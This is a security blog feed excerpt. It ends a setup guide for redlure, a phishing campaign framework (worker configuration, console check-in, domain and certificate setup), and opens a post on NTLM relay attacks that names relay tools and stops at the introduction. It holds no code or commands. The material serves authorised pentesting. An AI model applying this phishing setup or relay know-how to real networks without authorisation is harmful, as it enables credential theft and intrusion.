https://substackcdn.com/image/fetch/$s_!fp4a!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png 848w, https://substackcdn.com/image/fetch/$s_!fp4a!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png 1272w, https://substackcdn.com/image/fetch/$s_!fp4a!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fp4a!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png" width="1456" height="568" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:568,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:120895,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fp4a!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png 424w, https://substackcdn.com/image/fetch/$s_!fp4a!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png 848w, https://substackcdn.com/image/fetch/$s_!fp4a!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png 1272w, https://substackcdn.com/image/fetch/$s_!fp4a!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Add the key to your worker&#8217;s <code>config.py</code> along with the IP/domain name of your console. The certificate configurations here are for the worker API, so I usually just let it generate self-signed certs on startup, although you could specify other certs if you wish.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6ChM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6ChM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png 424w, https://substackcdn.com/image/fetch/$s_!6ChM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png 848w, https://substackcdn.com/image/fetch/$s_!6ChM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png 1272w, https://substackcdn.com/image/fetch/$s_!6ChM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6ChM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png" width="1298" height="316" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:316,&quot;width&quot;:1298,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:68132,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6ChM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png 424w, https://substackcdn.com/image/fetch/$s_!6ChM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png 848w, https://substackcdn.com/image/fetch/$s_!6ChM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png 1272w, https://substackcdn.com/image/fetch/$s_!6ChM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4594e84a-48d0-43bd-b53f-7ca84db20b91_1298x316.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Now you can start the worker. It will attempt to check-in with your console and you&#8217;ll see the result in the output. This is a one-way check, (worker -&gt; console only).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Xp0Z!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png 424w, https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png 848w, https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png 1272w, https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png" width="1310" height="650" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:650,&quot;width&quot;:1310,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:117830,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png 424w, https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png 848w, https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png 1272w, https://substackcdn.com/image/fetch/$s_!Xp0Z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F698a93f4-f88b-4db0-9b9d-ba21f36f2ade_1310x650.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Back in the web interface add a new server and input the IP and port your worker is running on. After that, verify two-way console/worker communications are worker with the <em>Refresh Status</em> button. You should see the Status column update with <em>Online</em>. If you get a different status, you may have copied the API key incorrectly or have firewall rules blocking the traffic. Check the firewall rules applied to your instance or if <code>ufw</code> on.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!y5MZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!y5MZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png 424w, https://substackcdn.com/image/fetch/$s_!y5MZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png 848w, https://substackcdn.com/image/fetch/$s_!y5MZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png 1272w, https://substackcdn.com/image/fetch/$s_!y5MZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!y5MZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png" width="1456" height="771" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:771,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:149728,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!y5MZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png 424w, https://substackcdn.com/image/fetch/$s_!y5MZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png 848w, https://substackcdn.com/image/fetch/$s_!y5MZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png 1272w, https://substackcdn.com/image/fetch/$s_!y5MZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0371c38a-ce8c-4cb4-a7f9-feef3e482715_1684x892.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As far as worker setup, everything is complete! While we&#8217;re on the <em>Domains &amp; Servers</em> page, I&#8217;ll zoom out and add a domain I&#8217;ve pointed to the newly added worker. Domains you add here can be utilized with your campaigns only when pointed at a worker. So although I&#8217;ve black boxed the IPs in the screenshot the IPs of my SetupGuide-Worker-1 and login subdomain match. By clicking the green <em>Generate Certs</em> button by the domain, we can generate Let&#8217;s Encrypt certs for the domain on the corresponding worker.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!v4Nh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!v4Nh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png 424w, https://substackcdn.com/image/fetch/$s_!v4Nh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png 848w, https://substackcdn.com/image/fetch/$s_!v4Nh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png 1272w, https://substackcdn.com/image/fetch/$s_!v4Nh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!v4Nh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png" width="1456" height="424" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/06779996-41ab-4250-87dd-ca31391f6339_3362x980.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:424,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:268230,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!v4Nh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png 424w, https://substackcdn.com/image/fetch/$s_!v4Nh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png 848w, https://substackcdn.com/image/fetch/$s_!v4Nh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png 1272w, https://substackcdn.com/image/fetch/$s_!v4Nh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F06779996-41ab-4250-87dd-ca31391f6339_3362x980.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If this succeeds, you&#8217;ll get the message on the green notification bar and also see Certs column flip from <em>Unset</em> to <em>Set</em>. This will also update the certificate paths in the domain&#8217;s config with the default Let&#8217;s Encrypt locations.</p><h2><strong>Conclusion</strong></h2><p>This post got extremely long, without even going into any features post-setup. For the moment, the <a href="https://youtu.be/ZtCMnKHZJUM">DEF CON content</a> contains examples of setting up campaigns with multi-page web content and integrated payload hosting (jump to <a href="https://youtu.be/ZtCMnKHZJUM?t=1103">18:23</a> in the video), but I may add a blog or two in the future to demonstrate these. Overall, my hope is that is post will aid anyone interested in deploying redlure for their own engagements, especially anyone that may have been hesitant previously due to a lack of resources/guides like this.</p>]]></content:encoded></item><item><title><![CDATA[Keeping Up with the NTLM Relay]]></title><description><![CDATA[Back in when I was getting started as a junior pentester, I vividly remember reading @byt3bl33d3r&#8216;s 2017 post: Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). I still recommend checking this out if you haven&#8217;t already - it will cover the basics of NTLM relaying and background on some of the confusing pieces ([Net]NTLMv1/2 anyone?) that there&#8217;s no need for me to repeat here. There&#8217;s also a plethora of other great NTLM relay blogs and resources that I&#8217;ll try to link to throughout this post, while I attempt to touch on the ever growing library of NTLM relay uses after 2021 introduced several new relay vectors.]]></description><link>https://blog.tw1sm.io/p/keeping-up-with-the-ntlm-relay</link><guid isPermaLink="false">https://blog.tw1sm.io/p/keeping-up-with-the-ntlm-relay</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Fri, 11 Feb 2022 19:47:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!8y7I!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Back in when I was getting started as a junior pentester, I vividly remember reading <a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/byt3bl33d3r">@byt3bl33d3r</a>&#8216;s 2017 post: <a href="https://web.archive.org/web/20250514173146mp_/https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html">Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)</a>. I still recommend checking this out if you haven&#8217;t already - it will cover the basics of NTLM relaying and background on some of the confusing pieces ([Net]NTLMv1/2 anyone?) that there&#8217;s no need for me to repeat here. There&#8217;s also a plethora of other great NTLM relay blogs and resources that I&#8217;ll try to link to throughout this post, while I attempt to touch on the ever growing library of NTLM relay uses after 2021 introduced several new relay vectors.</p><ol><li><p>The Classic NTLM Relay Attack</p></li><li><p>ADCS Compromise via NTLM Relay</p></li><li><p>Workstation Takeover via NTLM Relay</p></li><li><p>Substituting Initial Account Compromise with More NTLM Relay</p></li></ol><h4>The Classic NTLM Relay Attack</h4><p>This is what has been around for years. Your laptop or NUC is on the internal network and you so you fire up ntlmrelayx with either Responder or Mitm6 and in no time you&#8217;re relaying hashes around to other workstations and servers over SMB. Here&#8217;s a quick (simplified) refresher of the attack 